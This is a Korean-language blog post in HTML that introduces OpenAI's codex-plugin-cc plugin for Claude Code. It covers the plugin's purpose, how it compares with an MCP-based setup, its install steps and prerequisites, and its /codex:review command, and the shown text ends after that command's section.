&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3002&quot; data-origin-height=&quot;1720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0ZIpi/dJMcaco2182/vQkMZYrsAgdKgkH3yGI2d1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0ZIpi/dJMcaco2182/vQkMZYrsAgdKgkH3yGI2d1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0ZIpi/dJMcaco2182/vQkMZYrsAgdKgkH3yGI2d1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0ZIpi%2FdJMcaco2182%2FvQkMZYrsAgdKgkH3yGI2d1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3002&quot; height=&quot;1720&quot; data-origin-width=&quot;3002&quot; data-origin-height=&quot;1720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;2026년 3월 30일, OpenAI가 경쟁사 Anthropic의 Claude Code에 공식 Codex 플러그인을 출시했다 (&lt;span style=&quot;color: #0066cc;&quot;&gt;GitHub&lt;/span&gt;).&lt;br /&gt;리포지토리 이름은&amp;nbsp;openai/codex-plugin-cc, 설명은 &quot;Use Codex from Claude Code to review code or delegate tasks.&quot;이다.&lt;br /&gt;&lt;br /&gt;공개 하루 만에 GitHub stars 800+개 (2026-03-31 GitHub API 기준, 지속 변동 중)를 기록했고, 오픈 이슈 10여 개, 커밋 2개로 아직 초기 단계이다 (2026-03-31 GitHub API 기준, 변동 가능). 라이선스는 Apache-2.0이다&lt;br /&gt;&amp;nbsp;&lt;br /&gt;이 글에서는 codex-plugin-cc 플러그인의 설치법, 7개 주요 명령어, Review Gate 메커니즘, 소스코드 아키텍처, 제한사항을 증거 기반으로 분석하고, 크로스벤더 에이전트 협업이 개발 생태계에 미치는 의미를 짚어 보려 한다.&lt;/p&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin-bottom: 10px;&quot; data-ke-size=&quot;size20&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;소개 + 왜 주목하는가&lt;/li&gt;
&lt;li&gt;설치 및 시작하기&lt;/li&gt;
&lt;li&gt;주요 명령어 상세 (7개)&lt;/li&gt;
&lt;li&gt;기술 아키텍처 분석&lt;/li&gt;
&lt;li&gt;소스코드 핵심 분석&lt;/li&gt;
&lt;li&gt;활용법 / 통합 방법&lt;/li&gt;
&lt;li&gt;사용 예시&lt;/li&gt;
&lt;li&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li&gt;결론 &amp;mdash; 도입 결정 매트릭스 + 크로스벤더 에이전트 협업의 의미&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 소개 + 왜 주목하는가&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI가 자사 Codex를 경쟁사 플랫폼인 Claude Code 위에서 동작하도록 공식 플러그인을 만들었다는 사실 자체가 이례적이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1098&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rgXBu/dJMcaduEJOC/DuwIrQGiKGuLz2ME9dOCB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rgXBu/dJMcaduEJOC/DuwIrQGiKGuLz2ME9dOCB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rgXBu/dJMcaduEJOC/DuwIrQGiKGuLz2ME9dOCB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrgXBu%2FdJMcaduEJOC%2FDuwIrQGiKGuLz2ME9dOCB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1098&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1098&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;openai&lt;/code&gt; 조직 하의 공식 리포지토리이며, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/.claude-plugin/marketplace.json&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;marketplace.json&lt;/a&gt;에 owner가 &quot;OpenAI&quot;로 명시되어 있고 버전은 1.0.0이다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 가치는 두 가지다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;코드 리뷰 위임&lt;/b&gt; &amp;mdash; Claude Code에서 작업하면서 Codex에 리뷰를 맡긴다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/commands/review.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;review&lt;/a&gt;와 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/commands/adversarial-review.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;adversarial-review&lt;/a&gt; 두 가지 모드를 제공한다. review는 표준 코드 리뷰(버그&amp;middot;스타일 점검)를, adversarial-review는 설계 결정을 도전적으로 질문하는 심층 리뷰를 수행한다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;작업 위임(rescue)&lt;/b&gt; &amp;mdash; 버그 조사, 수정, 후속 작업을 Codex 서브에이전트에 위임한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;크로스벤더 에이전트 협업이란?&lt;/b&gt; &amp;mdash; 서로 다른 벤더의 AI 에이전트가 하나의 워크플로우에서 협력하는 패턴이다. Claude가 코딩하고, Codex가 리뷰하는 식이다. 싱글 에이전트 시대에서 멀티 에이전트 시대로의 전환점이라 할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cauYzh/dJMcaibKp77/yRqnDaCxilEEehAUbijAG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cauYzh/dJMcaibKp77/yRqnDaCxilEEehAUbijAG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cauYzh/dJMcaibKp77/yRqnDaCxilEEehAUbijAG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcauYzh%2FdJMcaibKp77%2FyRqnDaCxilEEehAUbijAG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2016&quot; height=&quot;1114&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1114&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;codex-plugin-cc&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;기존 Codex MCP 접근&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;통합 방식&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code 네이티브 Plugin System (marketplace.json &amp;rarr; plugin.json &amp;rarr; commands/hooks/agents/skills)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MCP 서버 연동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;명령어&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:review&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:rescue&lt;/code&gt; 등 슬래시 명령어 7개&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MCP 도구 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;라이프사이클 훅&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SessionStart/SessionEnd/Stop 훅 내장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Review Gate&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Stop 훅 기반 자동 리뷰 게이트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;배포&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;marketplace add&lt;/code&gt; 한 줄&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MCP 서버 설정 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄 요약: codex-plugin-cc는 MCP 프로토콜이 아닌 Claude Code의 네이티브 Plugin System을 사용하여, 명령어&amp;middot;훅&amp;middot;에이전트&amp;middot;스킬을 선언적으로 정의하는 방식이다. MCP 접근보다 Claude Code 생태계에 깊이 통합된다.&lt;!-- 목차 박스 --&gt;&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 2 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 및 시작하기&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXskqg/dJMcagrq4NC/8RlzJkpi7K6nOvN0c4lvx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXskqg/dJMcagrq4NC/8RlzJkpi7K6nOvN0c4lvx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXskqg/dJMcagrq4NC/8RlzJkpi7K6nOvN0c4lvx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXskqg%2FdJMcagrq4NC%2F8RlzJkpi7K6nOvN0c4lvx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2038&quot; height=&quot;1096&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;설치 플로우는 4단계다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1) 마켓플레이스에 리포지토리 추가
/plugin marketplace add openai/codex-plugin-cc

# 2) codex 플러그인 설치
/plugin install codex@openai-codex

# 3) 플러그인 리로드
/reload-plugins

# 4) 셋업 실행 (Codex CLI 설치 + 인증 확인)
/codex:setup&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 마지막에 나오는 선택사항을 설정시 Stop 훅 기반 Review Gate가 활성화되면 Claude Code가 멈출 때마다 Codex 리뷰가 트리거된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;910&quot; data-origin-height=&quot;422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/stAPp/dJMcaaLxlrT/Xj9GrKKkgphpX546eqHmK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/stAPp/dJMcaaLxlrT/Xj9GrKKkgphpX546eqHmK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/stAPp/dJMcaaLxlrT/Xj9GrKKkgphpX546eqHmK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FstAPp%2FdJMcaaLxlrT%2FXj9GrKKkgphpX546eqHmK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;910&quot; height=&quot;422&quot; data-origin-width=&quot;910&quot; data-origin-height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1612&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk3Y6z/dJMcacbvCqI/gKtd4SuhfElinfU1MWGD81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk3Y6z/dJMcacbvCqI/gKtd4SuhfElinfU1MWGD81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk3Y6z/dJMcacbvCqI/gKtd4SuhfElinfU1MWGD81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk3Y6z%2FdJMcacbvCqI%2FgKtd4SuhfElinfU1MWGD81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1612&quot; height=&quot;570&quot; data-origin-width=&quot;1612&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사전 요구사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;Node.js 18.18 이상&lt;/b&gt; &amp;mdash; &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/package.json&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;package.json&lt;/a&gt;에 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;&quot;engines&quot;: {&quot;node&quot;: &quot;&amp;gt;=18.18.0&quot;}&lt;/code&gt;으로 명시되어 있다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;ChatGPT 구독 또는 OpenAI API 키&lt;/b&gt; &amp;mdash; 사용량은 Codex 한도에 포함된다. Claude Code 구독과는 별도이므로, Anthropic + OpenAI 이중 비용이 발생한다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;Codex CLI&lt;/b&gt; &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup&lt;/code&gt;을 실행하면 Codex가 미설치 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;npm install -g @openai/codex&lt;/code&gt; 설치를 제안하고, 미인증 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;!codex login&lt;/code&gt;(Claude Code 셸 이스케이프)을 안내한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이중 구독 비용 주의&lt;/b&gt; &amp;mdash; 이 플러그인을 사용하려면 Claude Code 구독(Anthropic)과 ChatGPT/OpenAI API 구독을 모두 유지해야 한다. 비용 관리에 유의하자.&lt;/p&gt;
&lt;/div&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 3 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 주요 명령어 상세 (7개)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인은 7개 슬래시 명령어를 제공한다. 각각의 동작과 옵션을 정리한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1076&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VrPyk/dJMcaaLxlBa/gWYpe5KREZKjWSl30sODg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VrPyk/dJMcaaLxlBa/gWYpe5KREZKjWSl30sODg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VrPyk/dJMcaaLxlBa/gWYpe5KREZKjWSl30sODg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVrPyk%2FdJMcaaLxlBa%2FgWYpe5KREZKjWSl30sODg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2006&quot; height=&quot;1076&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1076&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6h4sY/dJMcabwS5a9/mpOibdCWZUkGkvyDDkXrc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6h4sY/dJMcabwS5a9/mpOibdCWZUkGkvyDDkXrc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6h4sY/dJMcabwS5a9/mpOibdCWZUkGkvyDDkXrc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6h4sY%2FdJMcabwS5a9%2FmpOibdCWZUkGkvyDDkXrc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1090&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-1. /codex:review &amp;mdash; 코드 리뷰&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex 내장 리뷰어를 사용하여 커밋되지 않은 변경이나 브랜치 비교에 대해 코드 리뷰를 실행한다. &lt;b&gt;read-only&lt;/b&gt;로 동작하며, 코드를 직접 수정하지 않는다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--wait&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--background&lt;/code&gt; &amp;mdash; 동기/비동기 실행. 리뷰 크기를 추정하여 1~2개 파일의 작은 리뷰를 제외하면 background 실행을 권장한다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--base &amp;lt;ref&amp;gt;&lt;/code&gt; &amp;mdash; 비교 기준 브랜치/커밋 지정.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;포커스 텍스트를 지원하지 않는다. 특정 영역을 집중 검토하거나 커스텀 지시가 필요하면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:adversarial-review&lt;/code&gt;를 사용한다. (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;review.md&lt;/code&gt; 소스 검증 완료)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ex) Codex 코드 리뷰 : &lt;b&gt;read-only로 함부로 소스 수정까지 하지 않는다.&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1874&quot; data-origin-height=&quot;1164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HjQ9f/dJMcagdVmVY/an2kADm5GZKe3AXHtkN2L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HjQ9f/dJMcagdVmVY/an2kADm5GZKe3AXHtkN2L1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HjQ9f/dJMcagdVmVY/an2kADm5GZKe3AXHtkN2L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHjQ9f%2FdJMcagdVmVY%2Fan2kADm5GZKe3AXHtkN2L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1874&quot; height=&quot;1164&quot; data-origin-width=&quot;1874&quot; data-origin-height=&quot;1164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
